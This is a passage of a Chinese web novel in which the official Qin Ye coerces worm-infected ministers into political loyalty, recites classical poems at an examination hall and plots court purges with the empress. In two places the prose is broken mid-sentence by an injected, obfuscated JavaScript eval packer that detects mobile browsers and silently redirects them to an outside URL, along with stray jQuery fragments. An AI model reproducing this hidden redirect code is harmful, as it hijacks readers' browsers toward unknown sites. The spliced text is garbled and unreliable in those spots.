堂官即是各部尚书。因为各部都有自己的大堂，故而又称堂官。走廊上铺着红毯，两旁站着威武的护卫。 进入会客厅，檀香袅袅，茶香四溢。只见武部尚书、工部尚书、民部尚书等人已经在座。秦烨的目光在孔云章和民部尚书**翔身上停留了片刻。与这位民部尚书，秦烨确实有些过节。 “下官秦烨，拜见各位大人。”秦烨笑着拱手，声音不卑不亢。虽说着客气话，但连身子都未曾弯一下。这一幕让在座官员颇为不满，有人轻哼一声，有人皱起眉头。 **翔端起茶杯，冷冷地说道：“秦大人今日召集我等，所为何事？” “是这样的。”秦烨不紧不慢地说道，目光扫过在座诸人，“下官想与诸位做笔小生意。” “哼。”孔云章等人发出不屑的冷笑。以秦烨的身份，能拿出什么好东西？有人甚至已经准备起身离开。 秦烨似乎没注意到众人的轻蔑，笑呵呵地将药箱放在桌上。檀木药箱上雕刻着精美的花纹，一看就不是凡品。他轻轻打开箱子：“箱中有些丹药，乃是皇上和司马家主都用过的。对滋阴补阳、强健肾气颇有功效。” 此言一出，众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769336|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员眼前一亮。他们年事已高，对这种药物自然心动。毕竟府中姬妾众多，这等药物正是所需。原本轻蔑的目光渐渐变得炙热起来。 秦烨取出青瓷药瓶，瓶身晶莹剔透，散发着淡淡的药香。 “诸位大人，这药可是好东西。”秦烨晃了晃手中的青瓷药瓶，瓶中丹丸碰撞发出细微的声响，“年纪大了，总要靠点外物来补充。” 没人应声。 这些官员们个个眼观鼻、鼻观心，仿佛秦烨手中拿着的不是什么神奇的药物，而是一团虚无的空气。孔云章的手指无意识地敲击着桌面，发出轻微的“咚咚”声。 秦烨不以为意地扫视着众人，他早就料到这些人不会这么容易上钩。烛光在他脸上投下明暗不定的阴影，更添几分捉摸不透的意味。 “既然大人们对这个不感兴趣，那我就收起来了。”他慢悠悠地将药瓶收回袖中，语气中带着几分遗憾，“不过，我这还有一味药，专门对付体内的小虫。” 此言一出，殿内气氛骤然凝固。孔云章停下了敲击的手指，额头渗出细密的汗珠。其他几位大人的呼吸也明显变得急促起来。 只有**翔还保持着表面的镇定，但他握着茶杯的手指已经微微发白。显然，他也没能完全掩饰住内心的波动。 秦烨看在眼里，笑在心里。这些人体内都被上官煜种下了蛊虫，就是为了控制他们的忠诚。如今听说有解蛊的药，一个个都坐不住了。 殿外传来几声乌鸦的啼叫，更添几分诡谲的气氛。 “秦公公，”**翔放下茶杯，强作镇定地开口，“你说的交易是什么？” 秦烨没有直接回答，“诸位可知道，朝廷现在有两个重要职位空缺？” “工部尚书和禁军总戎。”他顿了顿，“不知诸位觉得，这两个位子该由谁来坐？” 众人的脸色都变了。一个小小的太监，竟然敢过问朝廷高官的任免？除非…… “这是陛下的意思？”**翔试探着问道，声音中带着颤抖。 秦烨轻笑一声：“这还用问吗？” 他从怀中掏出一份名单，缓步走到**翔面前。“这上面有几个人选，都是朝中清正廉洁之士。” 第一百七十六章 蛊虫威胁 **翔接过名单，借着烛光细看。上面写着七八个名字，都是些不肯同流合污的清官。这些人因为不愿意参与党争，多年来都没能升迁。 “秦公公，”**翔的声音有些发涩，“既然陛下已经有了人选，为何还要来问我们的意见？” “这些人虽然品行端正，但资历尚浅。若无人举荐，贸然委以重任也不妥当。”秦烨意味深长地说道，目光在众人脸上扫过，“况且这些日子，不是有不少人在为这两个位子活动吗？” 孔云章忍不住咳嗽了一声，显然是想到了什么不愉快的事情。 **翔立刻明白了秦烨的意思。他放下名单，微微欠身：“原来如此。老夫愿意举荐。” “陈大人明事理。”秦烨笑道，“这对大人您来说也是好事。日后这些人若当了官，自然会记得举荐之恩。” 殿内的气氛稍稍缓和，但秦烨接下来的话，又让温度骤然降低。 “诸位也要举荐名单上的人。”他的语气忽然变得强硬起来，目光在孔云章等人身上逡巡，“另外，每人还要交五千两银子进宫。” 孔云章猛地站起身来，茶杯被打翻，茶水洒了一桌。“秦公公，这未免太……” “怎么？”秦烨冷笑着打断道，“难道诸位觉得，区区五千两银子，比不上体内的小虫要紧？” 这话一出，孔云章仿佛被人点了穴道，僵在原地。其他几位大人也是面如土色，额头的冷汗越发明显。 秦烨看着这些人的反应，心中暗笑。这些人平日里在朝堂上耀武扬威，此刻却被他**于股掌之间。不过这也是没办法的事，谁让他们体内有蛊虫呢？ 秦烨的目光在眼前几位官员脸上逡巡，嘴角勾起一抹意味深长的笑容。 “诸位大人，从今往后，我们就是一条船上的人了。”他的声音不疾不徐，却带着不容置疑的力量。 几位官员面面相觑，神色间带着几分犹豫。孔云章的手指无意识地摩挲着官服袖口，眉头微蹙；张大人则不停地用手帕擦拭额头的汗珠；李大人的目光游移不定，始终不敢与秦烨对视。 这是一个选择的时刻，站在大周朝廷这边，还是藩王上官煜那边。空气仿佛凝固了，连呼吸声都清晰可闻。 “咳咳。”孔云章轻咳两声，打破了这份沉默。他先是看了看同僚们的表情，见大家都在等他表态，这才缓缓开口：“秦大人说得对，我们愿意做这个交易。” “确实如此。”张大人紧跟着附和，“我等愿为朝廷效力。” 其他官员纷纷点头称是，室内的气氛顿时轻松了几分。 “哈哈哈！”秦烨爽朗地笑了两声，目光中闪过一丝得意。这举荐之事不过是个由头，真正重要的是让这些人站队。从今以后，这些人就彻底站在了大周朝廷和上官瑾这边。 “诸位放心，”秦烨端起茶杯，轻轻吹散漂浮的茶叶，“有我在，那些对二职之位心怀不轨的人，掀不起什么风浪。” **翔听得云里雾里，但孔云章等人却心领神会。秦烨这是在暗示，就算藩王上官煜不满，他们也不必担心，因为背后有大周皇帝上官瑾撑腰。 众官员不由松了口气，紧绷的肩膀也放松下来。有人开始擦汗，有人开始整理衣冠，还有人忍不住露出了笑容。 “时候不早，我也该告辞了。”秦烨放下茶杯，起身说道。 “下官送秦大人。”**翔连忙站起来说道。对他来说，这是个修复与秦烨关系的好机会。毕竟之前两人之间还存在一些芥蒂。 两人沿着长廊往外走，青石板路在月光下泛着淡淡的光泽。突然，一阵急促的脚步声打破了夜的宁静。 只见一个小吏跌跌撞撞地跑过，差点撞到廊柱上。 “成何体统！”**翔厉声喝道，“在衙门里这般慌张，若是冲撞了秦大人该如何？” 那小吏连忙跪下，额头都磕在了地上：“回大人的话，是仪部贴告示用完了浆糊，让小人去取。小人该死，请大人责罚！” “什么告示？”**翔皱眉问道。 “是今年考试的重点区域，现在南墙那边围了不少考生，”小吏战战兢兢地回答，“都等着看新贴的告示呢。” “原来如此。”**翔点点头，脸色缓和了些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777969|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦烨眼中闪过一丝兴趣：“这告示有何特别之处？” **翔心中暗自轻蔑，一个宦官出身的人，自然不懂这些。不过表面上还是恭敬地解释道：“我大周科举，每年会试前都会公布出题范围，与时事国事相关。南墙就是皇城南面的红墙，告示就贴在那里。” “有意思，不如我们也去看看？”秦烨提议道，眼中闪烁着莫名的光芒。 “好。”**翔虽然不太情愿，但也不好推辞。 与此同时，汴城街道上，一群前来赶考的才子正热烈讨论着。月光下，他们的身影拉得很长，说话声和笑声此起彼伏。 “君不见，黄河的水从天边涌来，奔流到底不复还……好诗啊！”一个身着青衫的才子击节赞叹，他叫孔雅，来自江南。 “这位秦大人不愧是当今大才，诗作令人拍案叫绝！”旁边一个瘦高个子附和道，眼中满是崇敬。 “对酒当歌，人生几何，这将进酒更是绝妙！豪气干云，直冲霄汉！”又一个书生手舞足蹈地说道。 人群中，一个面带酒意的年轻人突然大笑起来，酒壶中的酒水随着他的动作洒出来几滴：“看来这位秦大人也是个爱酒之人，正合我意！” 此人名叫秦豪，乃洛阳秦氏之子。他生得眉清目秀，一身儒雅之气，但眼中总带着几分桀骜不驯。据说他才气横溢，性情豪放，最爱饮酒赋诗。 “诸位，”秦豪举着酒壶，月光下他的脸泛着红晕，“我有个提议。不如我们去拜访这位秦大人，与他畅谈诗词，岂不快哉？” “好主意！” “正该如此！” “我等正想领教秦大人的风采！” 众人纷纷响应，兴致勃勃地朝虎卫方向走去。 汴城的街道上，一群身着黑袍的文人漫步而行，他们的衣着打扮无一不在模仿那位声名鹊起的秦烨。 自从秦烨在汴城崭露头角后，黑色便成了一种时尚。不论是达官贵人，还是寻常百姓，都以穿黑衣为荣。街边的成衣铺子里，黑色布料早已脱销，就连一些老字号的绸缎庄也开始专门定制黑色衣袍。 第一百七十七章 炽手可热 “这虎卫，可真是气派。”秦豪站在虎卫大门外，醉眼朦胧地打量着眼前的建筑。阳光下，那高耸的围墙泛着青灰色的光泽，朱漆大门上的铜环闪烁着威严的光芒。 让他意外的是，虎卫外围早已**了不少人。其中不乏容貌秀丽的闺秀，个个衣着华贵，身边丫鬟婢女簇拥。有的撑着绣花伞轻声细语，有的手持团扇遮掩笑靥，还有的偷偷往门内张望，希望能瞥见那道令人心动的身影。 “呵，这些小姐们，怕是都为秦大人而来。”夏朗摇着扇子，语气中带着几分揶揄，“自从秦大人那首《江南行》传遍汴城，这些闺秀可是魂都要丢了。” 秦豪眼睛一亮：“这么多美人，不如我们……” “秦兄就别想了。”夏朗摆了摆手中的扇子，“这些女子眼里只有秦大人，哪会看得上我们这些无名之辈。听说昨日还有位侯府小姐，差点翻墙进去呢。” 一旁的文人们顿时哄笑起来，有人打趣道：“这位秦大人，怕是比状元郎还要抢手啊！” 秦豪闻言，不由得拍了拍大腿：“秦大人当真了得！不仅文采斐然，连这般本事都有。” “张兄，你这话里有话啊。”旁边几个文人笑得更欢了。 夏朗见状，轻咳一声，上前两步，抬手叩响了虎卫的大门。门环撞击的声音在清晨的空气中格外清脆。 “在下山东士子夏朗，特来拜访秦大人。” 门内传来沉重的脚步声，片刻后，一位白发苍苍的老者打开了门。他的目光在众人身上扫过，神情淡漠。 门外的闺秀们顿时屏住呼吸，纷纷踮起脚尖往里张望，却见不到心心念念的秦大人，不由得露出失望之色。有几个胆大的还想往门缝里瞧，却被丫鬟们拉住了。 “老丈，我等是今科举子，慕名前来拜访秦大人。”秦豪从袖中掏出一锭银子，递向老者，“还请行个方便。” 老者看都未看那银子一眼，只是淡淡道：“大人不在。” “老丈，我们是专程来请教学问的，不知秦大人何时回来？”夏朗还想说什么。 “不在就真不在，诸位请回吧。”老者语气不耐，直接关上了门。 重重的关门声让众人面面相觑，只得悻悻离去。几位闺秀也垂头丧气地转身，丫鬟们连忙跟上，劝慰着各自的小姐。 与此同时，秦烨正漫步在南墙附近。这里是考场所在，**着大量前来应试的士子。三三两两的人群中，有人在高谈阔论，有人在默默背诵，还有人焦急地来回踱步。 **翔在一旁为秦烨介绍：“我大周科举，自古重儒。不过因先帝喜好黄老之术，朝中也有不少黄老一派的官员。这些年来，朝廷对黄老之术也越发重视。” “所以科举也会考黄老之术？”秦烨若有所思地看着墙上张贴的告示。 “正是。”**翔点头，眼中闪过一丝担忧，“不过与前朝不同的是，我朝科举重文章而轻诗词。现在的考题，大多是策论、经义，诗词反倒成了末流。” 秦烨察觉到**翔话中有话，不由得多看了他一眼。阳光下，这位好友的脸上带着几分忧虑。 “这也导致诗词一道不如前朝兴盛。”**翔继续道，声音里带着惋惜，“毕竟文人都去琢磨八股文了，哪有心思作诗。就连那些老先生，也渐渐不教诗词了。” 待众人散去，**翔指着墙上的告示：“今日贴的是考题，来日贴的便是中试名单。这科举之路，何其艰难！三年取三百进士，应试者却有数千之多。” 他的声音中带着几分感慨：“那些白发苍苍的老考生，从年轻考到垂暮，有的至死都过不了县试，只能做个穷困潦倒的老童生。老夫也算幸运，少年过县试，十八中举人，但进士折戟三次，最后才勉强中个二甲。” 一群考生匆匆走过，个个愁眉苦脸。**翔看着他们的背影，继续道：“若非如此，说不定今日也要与这些老考生一般。秦大人倒是好运，一入仕途便是六品，比老夫当初那个七品员外郎强多了。” “全赖圣上恩典。”秦烨朝皇宫方向拱手。 “说起来，这科举制度也有弊端。”**翔压低声音，“有些人靠背诵八股取中，却不通世务。有些人虽有真才实学，却因不得门路而落第。不过这也是没办法 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两人你来我往，说着场面话，谁也不会把当年的过节摆到台面上来。但精明如他们，都清楚对方话里的弦外之音。 “说起来，”**翔忽然话锋一转，“上次在宫中的事，秦大人应该不会记在心上吧？” 秦烨眼中闪过一丝异色，但转瞬即逝：“陈大人这话可有点夸张了，那不过是些小事罢了。” “那就好，那就好。”**翔连说两个好字，语气中带着几分意味深长。 就在这时，人群中突然传来一声呼喊：“叔父大人！” 声音清亮，打破了两人之间微妙的气氛。**翔眉头微皱，转头望去。 只见一个年轻人快步走来，面带笑容，眼中带着几分期待。**翔仔细打量，却想不起在哪见过这张面孔。 这种情况他见得多了，无非是想攀关系的后生。但当着这么多人的面，他也不好发作。况且，能在这种场合认出自己，想必也不是无名之辈。 “这位小友，可是认错人了？”**翔故作慈祥，语气中带着几分疑惑，“老夫似乎没有印象。” 第一百七十八章 精明老者 年轻人连忙解释：“叔父大人，小侄褚云霄啊！家父褚长河与叔父大人可是旧识。当年在扬州……” 听到这个名字，**翔这才恍然。确实有这么个人，不过也就是见过几面而已，算不得什么交情。但既然对方都说到这个份上了，他也只好顺水推舟。 “原来是云霄啊！”**翔脸上的笑容更深了几分，“老夫一时竟没认出来，真是抱歉。近来读书可还用功？” “感谢叔父的关心，”褚云霄恭敬答道，随即话锋一转，“不知叔父大人今日来此，所为何事？” “无他，不过是想与你们这些新科举子聊聊天罢了。”**翔随口应道。 褚云霄眼珠一转，立刻抓住机会：“叔父大人如此关心后进，实在令人感动。今日众多士子在此，不如请叔父大人赋诗一首，以勉励大家？” 此言一出，周围的士子们纷纷投来关注的目光。有人窃窃私语，有人翘首以待，更有人露出期待的神色。 **翔心中暗骂，【这小子打的好算盘！】 若是答应，自己临时作诗，万一词不达意岂不是贻笑大方？若是拒绝，在场这么多人看着，岂不是有失体面？ 正当他为难之际，忽然瞥见一旁的秦烨，心中顿时有了主意。这个机会，他怎能放过秦烨专美于前？ “诸位年轻人的热情，老夫心领了。”他轻抚胡须，语气中带着几分惆怅，“只是老夫年事已高，难免有些暮气沉沉。虽说诗作还算不错，但恐怕会影响你们这些朝气蓬勃的后生。” 秦烨站在一旁，看着**翔那张布满皱纹却精明的脸。这位老狐狸倒是会借坡下驴，既给自己找了个合适的台阶，又不失体面。 年轻的士子们听闻此言，脸上都露出了几分遗憾之色。有人低声叹息，有人默默摇头，更有人眼中浮现失望。 “陈大人太过谦逊了。”一个身着青衫的士子上前一步，声音中带着几分恳切，“您的诗作可是……” 话未说完，**翔已经摆手打断：“不过……”他话锋一转，目光突然落在秦烨身上，眼中闪过一丝狡黠，“这位秦大人与诸位年纪相仿，才学俱佳，更是朝廷栋梁。不如请他为诸位作诗一首如何？” 众人的目光瞬间**到秦烨身上，空气仿佛凝固了一般。阳光下，这位年轻官员的身影显得格外挺拔。 “秦大人……”有人小声嘀咕，眼中闪过羡慕的神色。同样是年轻人，人家已经在朝堂上谈笑风生，而他们还在为科举奔波。 “请秦大人为我等作诗！”不知是谁带头喊了一声，其他人也纷纷附和。声音此起彼伏，在院中回荡。 秦烨微微一笑，目光扫过众人热切的眼神。这些诗句虽是前人所作，但用在此时此刻再合适不过。他整了整衣冠，向前迈了一步。 “既然诸位相邀，那我就献丑了。” 院中突然安静下来，连风吹过树叶的沙沙声都清晰可闻。秦烨深吸一口气，朗声吟道： “三更灯火五更鸡，正是男儿读书时。黑发不知勤学早，白首方悔读书迟” 诗声一落，院中一片寂静。众人先是一愣，继而眼中迸发异彩。有人低声重复着诗句，有人若有所思地点头，更有人握紧了拳头，眼中闪烁着激动的泪光。 这首诗虽不华丽，却字字珠玑，直指读书人的心坎。更让人惊讶的是秦烨作诗的速度，仿佛早已胸有成竹。 “好诗！”**翔由衷赞叹，胡须微微颤动，“字字珠玑，令人警醒啊！” 秦烨却摆摆手，目光扫过众人：“且慢，还有一首。” 众人屏息凝神，期待地看着他。秦烨抬头望天，仿佛在酝酿情绪，实则在回忆诗句。片刻后，他的声音再次响起： “九州生气恃风雷，万马齐喑究可哀。我劝天公重抖擞，不拘一格降人才。” 此诗一出，满堂喝彩。有人击掌叫好，有人连连点头，更有人激动得站起身来。这首诗不仅气势恢宏，更是道出了朝廷求贤若渴的心声，让在场的士子们心潮澎湃。 “秦大人诗才惊人！”夏朗由衷感叹，眼中闪烁着敬佩的光芒。 褚云霄也连连点头：“确实令人叹服。这等诗作，足以传诵千古！” 秦烨看着众人激动的神情，心中暗笑。这些千古名句，在这个时代确实有着独特的魅力。阳光下，他的身影似乎更加挺拔了几分。 “诸位过奖了。”他谦逊道，目光扫过众人，“其实我还有两对手 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此言一出，院中一片寂静。众人先是一怔，继而深感震撼。有人低头沉思，有人若有所悟，更有人眼中闪过一丝惭愧。 这副对联虽然朴实无华，却字字千钧，道出了读书人的本分与气节。在场的每个人都感受到了一种无形的压力，仿佛有一面镜子照出了他们内心最深处的想法。 “好！”**翔击掌赞叹，眼中闪烁着异样的光芒，“此联虽简，却寓意深远。秦大人不愧是朝廷栋梁！” 众士子也纷纷拱手：“秦大人高见，令我等茅塞顿开！” 阳光斜照，院中的影子渐渐拉长。秦烨看着众人敬佩的目光，心中却没有丝毫得意。这些诗句对联，不过是华夏五千年文明的结晶，他不过是个搬运工罢了。 但这些千古名句在此时此地绽放异彩，倒也是一件美事。看着众人脸上若有所思的表情，他知道这些话已经在他们心中种下了一颗种子。 “诸位客气了。”他笑着摆手，声音温和却坚定，“科举在即，还望诸位静心备考，他日金榜题名，为国效力。” 众人闻言，皆是神情肃穆，郑重应诺。有人握紧拳头，有人暗暗下定决心，更有人眼中闪过坚定的光芒。 第一百七十九章 同为一人 众人向秦烨深深一躬，眼中满是敬意。 秦烨笑着摆了摆手，眉宇间透着几分疲惫：“就这样吧。”这几日为了应对朝堂上的明争暗斗，他几乎没有好好休息过。 “秦大人且慢。”陈云翔迈步上前，官袍在微风中轻轻摆动，“您这对联还未留下墨宝，如何能让它警醒后来学子？” 秦烨闻言一愣，喉结微动，心中暗叫不妙。【诗词好说，后世那么多，随便抄一首都是我的。但这墨宝就不同了，我的书法实在不敢恭维，也就勉强能写，要说美观那是想都别想。若是真把我那歪歪扭扭的字挂在贡院门前，岂不是要贻笑大方？】 周围的目光纷纷聚集过来，带着期待与好奇。秦烨能感受到那些炙热的视线，仿佛要将他的衣衫烧出一个洞来。他下意识地捏了捏衣袖，脑海中飞快闪过几个应对方案。 转念一想，秦烨眼中闪过一丝亮光：“陈大人书法造诣高深，不如由您亲笔书写如何？有民部天官亲笔，更显庄重。” “哈哈哈！”陈云翔爽朗大笑，眼角的皱纹舒展开来，显然也看出了秦烨的窘迫，“也好，那就由老夫代劳。” 很快有人搬来红木桌椅，摆上文房四宝。陈云翔站在案前，轻轻抖开宣纸，提笔沾墨。他神情专注，笔走龙蛇，一气呵成。“升官发财，请往他处；贪生怕死，莫生斯门”十六个大字跃然纸上，笔力遒劲，气势恢宏。 “好字！” “好诗配好字！” “此事定能传为佳话！” 众人纷纷叫好，掌声如雷。秦烨向陈云翔拱手告辞，转身离去。身后传来阵阵议论声，他的脚步却没有丝毫停顿。 人群中的士子们还在热烈讨论。阳光下，他们的脸庞因兴奋而泛红，眼中闪烁着求知的光芒。 “这位秦大人诗才属实高明，会不会就是汴城那位名声大噪的虎卫秦大人？”一个身着青衫的年轻士子猜测道，声音中带着几分向往。 “不可能。”夏朗摇头，眉头微皱，“虎卫的大人是江湖中人，怎会在朝为官？再说，江湖中人哪有这般才情？” 秦豪抚摸着下巴，若有所思：“这位秦大人的诗虽然不错，但诗中多了几分官场气息，少了几分江湖豪气。你们看那"升官发财"四字，分明就是针对科举之人。” “话不能这么说。”另一位士子反驳道，“诗词本就是抒发胸臆，何必拘泥于身份？” 众人你一言我一语，争论不休。有人说秦烨的诗好，有人说虎卫秦大人的诗更胜一筹，还有人认为二者不分伯仲。争论声此起彼伏，在贡院的庭院中回荡。 秦烨离开贡院后直奔六部，他要履行承诺，为孔云章等人封印体内蛊虫。这些官员体内的蛊虫若不除去，就永远无法摆脱上官煜的控制。一想到那些蛊虫在人体内蠕动的样子，他就不寒而栗。 六部大院内，阴凉的房间里，孔云章正襟危坐。他的脸色有些发白，额头上渗出细密的汗珠。 “孔大人，可准备好了？”秦烨问道，手中的银针在阳光下泛着冷光。 孔云章深吸一口气，点了点头：“有劳秦大人了。” “忍着点。”秦烨手腕一翻，银针如闪电般刺入孔云章的穴道。 “嘶——”孔云章倒吸一口凉气，指节因用力而发白。 秦烨专注地操控着真气，引导蛊虫顺着经脉游走。这是一个精细的工作，稍有不慎就会让蛊虫失控。汗水顺着他的额角滑落，打湿了衣领。 “好了。”半个时辰后，秦烨收回银针，擦了擦额头的汗水，“蛊虫已经被封印，不会再受上官煜控制了。” 孔云章活动了一下手脚，脸上露出轻松的笑容：“多谢秦大人。这段日子，我总觉得体内有什么东西在蠕动，晚上都睡不好觉。” “其他人也要尽快处理。”秦烨站起身，“上官煜不会善罢甘休，我们要抓紧时间。” 忙完这些已是下午，阳光西斜，给汴城的房檐镀上一层金边。秦烨却不敢耽搁，风雨欲来，他还有许多事要处理。不过在此之前，他决定先去看看潘凝烟。 这个不远千里来投奔他的女子，为了爱情不惜背叛宗门，秦烨怎能不去关心？想到她受伤的样子，他的心就隐隐作痛。 来到虎卫内潘凝烟的闺房，淡淡的幽香飘散在空气中。秦烨轻轻推开门，潘凝烟正靠在床头看书，听到动静抬起头来，眼中立刻绽放出惊喜的光芒。 “你来了。”她放下书卷，嘴角勾起甜美的弧度。 秦烨走到床边，为她换药查看伤势。伤口恢复得不错，新生的肌肤泛着健康的粉色。这让他松了口气，轻轻抚过她的伤处。 “再有几天就能痊愈了。”秦烨笑道，眼中满是温柔。 潘凝烟幽幽叹了口气，纤细的手指在被单上画着圈圈：“还好他们追杀时没下死手，不然我早就香消玉殒了。也不知道那时候，你会不会想起我？” “当然会。”秦烨轻抚她的秀发，发丝如绸缎般顺滑，“对了，今天要不要……” 潘凝烟俏脸一红，凑到他耳边轻声道：“奴家可是想死你了。”温热的气息喷在他的耳畔，带着诱人的芬芳。 “我也想你。”秦烨的声音有些沙哑。 昨晚女帝没有召他侍寝，秦烨积攒了不少精力。此刻看着眼前的佳人，再也按捺不住。房间里的温度似乎在逐渐升高，空气中弥漫着暧昧的气息。 潘凝烟温柔地为他宽衣解带，动作轻柔而优雅。她自己也褪去轻纱，露出如玉般的肌肤。两具火热的身躯紧紧相拥，秦烨见她伤势大好，不似昨日那般小心翼翼。 这一次，他要让她知道，什么叫真正的男人…… 窗外，夕阳将最后一缕余晖洒在房间里，为这一场缠绵增添了几分旖旎的色彩。 夜色如墨，承明殿内灯火通明。 秦烨告别了盘凝烟，来到宫门外，望着那一盏盏明亮的灯火，手指无意识地摩挲着腰间的玉佩。宫墙上的影子被风吹得摇曳，远处传来更夫打更的声音，一声声敲击着寂静的夜。 他知道，女帝此刻一定在批阅奏章。这个时辰，正是她最为专注的时候。每当这时，她总会微蹙着眉，明艳的面容上带着几分倦意，却依然坚持将每一份奏疏都仔细过目。 第一百八十章 暗藏祸患 推开殿门，一股暖意扑面而来。果然看见上官瑾正捧着一份奏疏，烛光映照下的面容带着掩饰不住的笑意。案几上的茶水已经凉了，青瓷茶盏上结着一层薄薄的茶垢。 “陛下这是遇到什么喜事了？”秦烨轻声问道，顺手为她添了杯热茶。 上官瑾抬眸看他，美眸中闪烁着兴奋的光芒，手指轻轻点着案几：“你猜得到吗？陈云翔那老狐狸，居然主动推荐了我们之前敲定的两个人选。” “这还真是稀奇。”秦烨故作惊讶，将茶盏推到她手边，“不过以陈大人的精明，想必是看出了些什么。” “你少在这装傻。”上官瑾白了他一眼，指节轻叩桌面，“我听说你今天去了六部衙门？特别是在民部和工部，逗留了很久。那些大臣们，可都说秦大人的医术神乎其神。” 秦烨在她对面坐下，随手拿起一份奏疏翻看：“不过是去给他们扎了几针罢了。这些日子朝中事务繁忙，他们也都累坏了。” “扎针？”上官瑾眉头一挑，忽然露出一抹促狭的笑容，玉指轻轻敲着茶盏，“他们全是男人，也值得你如此费心？你这口味……” “陛下！”秦烨无奈地打断她，将手中的奏疏放下，“您这脑子里都在想些什么？再说，您不也是……” 话未说完，一支玉簪便朝他飞来。秦烨侧身躲过，玉簪“叮”地一声钉在了身后的屏风上。 “你再说一个字试试！”上官瑾俏脸微红，眼中却带着笑意。 殿内的气氛一时轻松起来。秦烨起身将玉簪取下，递还给她：“陛下的武功倒是越发精进了。” “那是自然。”上官瑾接过玉簪，重新簪在发间，“不过你这针灸之术，也是越发神奇了。短短几日，就让那些老狐狸们心服口服。” 秦烨神色一正：“陛下，接下来宫中也该有一番大清洗了。” 上官瑾停下手中的动作，眸光一凝：“你是说……” “御医署虽已清理过，但宫中暗处，还藏着不少毒蛇。”秦烨压低声音，目光扫过殿内的角落，“这些人若不除，终究是个祸患。” 秦烨从怀中取出两个小瓷瓶和一张图纸，放在案几上：“这是防身软甲的图纸，还有我特制的解毒丹。一瓶给陛下，一瓶给皇后娘娘。若觉得身体不适，立刻服下。” 上官瑾接过物件，指尖微凉。这个男人，总是将她的安危放在首位。从她登基以来，朝中明争暗斗不断，若不是有他在身边，恐怕早已……“你可得留点神。”她轻声说道。 “明日朝会，怕是有一场好戏要上演了。”秦烨走到窗边，望着夜色。月光透过云层，洒在他的侧脸上，勾勒出一道清冷的轮廓。 “什么好戏？”上官瑾起身走到他身边。 “陛下且等着看便是。”秦烨神秘一笑，目光落在远处的宫墙上。几个黑影快速闪过，转眼便消失在夜色中。 上官瑾蹙眉：“你这人，就爱卖关子。那些是……” “影卫的人。”秦烨轻声道，“已经按计划布置好了。” “所以今日你去六部，是为了……” 秦烨点头：“借着给他们治病的机会，探查了一番。那些人的把柄，已经握在手中了。” 上官瑾眼中闪过一丝担忧：“你一个人去，太危险了。” “不是还有陛下派去的暗卫吗？”秦烨转身看着她，“而且，我这不是好好地站在这里？” 上官瑾轻哼一声：“你倒是会耍嘴皮子。” “说出来就没意思了。”秦烨望着夜色，“不过陛下放心，一切尽在掌控之中。那些人，蛰伏得太久了。” 秦烨知道，这看似平静的宫廷，暗流涌动。每一个角落，都可能藏着致命的危险。 但他不会让任何人伤害到她。无论是明枪还是暗箭，他都会替她挡下。 “对了，影卫的部署也该重新安排了。”秦烨转身道，“这些人手，都得换成可靠的。特别是负责膳房和药房的，一个都不能留。” 上官瑾颔首：“我会安排下去。”她注视着秦烨的侧脸，这几日他为了朝中事务奔波，面容都清瘦了几分。眼底的疲惫遮掩不住，却依然强撑着精神。 “你也该好好休息了。”上官瑾柔声道。 “怎么，陛下这是在心疼我？”秦烨调笑道，目光落在她的脸上。 “谁……谁关心你了！”上官瑾俏脸一红，别过头去，“不过是怕你累坏了身子，耽误了正事。” 秦烨轻笑：“那我们一起睡的那几次，陛下也是怕耽误正事？” “你……”上官瑾羞恼地瞪着他，玉手已经摸向了腰间的另一支簪子。 “好好好，不说这个。”秦烨举手投降，“时候不早了，陛下也该歇息了。明日还要上朝，可不能累着。” 上官瑾望着秦烨，美眸中闪烁着异样的光彩。她从未想过，有朝一日会有人为她筹谋，为她安排一切。那种被人关心、被人在意的感觉，让她心尖微颤。 “你有心了。”她轻声说道，声音里带着一丝不易察觉的颤抖。 秦烨看着上官瑾脸上洋溢的笑容，心中也不禁一暖。他正要说些什么，却见上官瑾突然皱起眉头，似乎想到了什么不好的事情。 “怎么了？”秦烨关切地问道。 上官瑾摇了摇头，眉宇间的忧虑却挥之不去：“我总觉得事情不会这么顺利。大理寺那边……” “你是担心周衡？”秦烨轻笑一声，“放心，我自有安排。” 上官瑾欲言又止，最终还是叹了口气：“你要小心。” 就在秦烨与上官瑾商议未来计划的同时，大理寺内却是另一番景象。 大理寺监正周衡坐在案前，手中拿着一份密报，脸上的表情阴晴不定。烛光在他脸上投下忽明忽暗的阴影，更添几分阴森。 “原来如此……原来如此！”周衡猛地一拍桌案，茶盏随之跳动，滚烫的茶水溅在案上。 密报上清清楚楚地写着：新近在汴城崛起的虎卫大人，正是朝廷命官秦烨。 “好一个秦烨，竟敢身为朝廷命官，还在江湖上另立山头！”周衡眼中闪过一丝狠厉，他攥紧拳头，指节发白。 一旁的幕僚小心翼翼道：“大人，这消息可靠吗？” “千真万确！”周衡冷笑，“我派人暗中跟踪了他半个月，每一处细节都对得上。” 第一百八十一章 指鹿为马 幕僚犹豫片刻，又道：“可是秦烨在朝中也有些关系……” “哼！”周衡不屑一顾，“在大周朝，官员染指黑道势力，这可是死罪！就算他有天大的靠山，这次也插翅难飞！” 他已经开始盘算着，明日早朝该如何发难。想到秦烨那张年轻的面孔即将布满惊恐，他就忍不住要笑出声来。 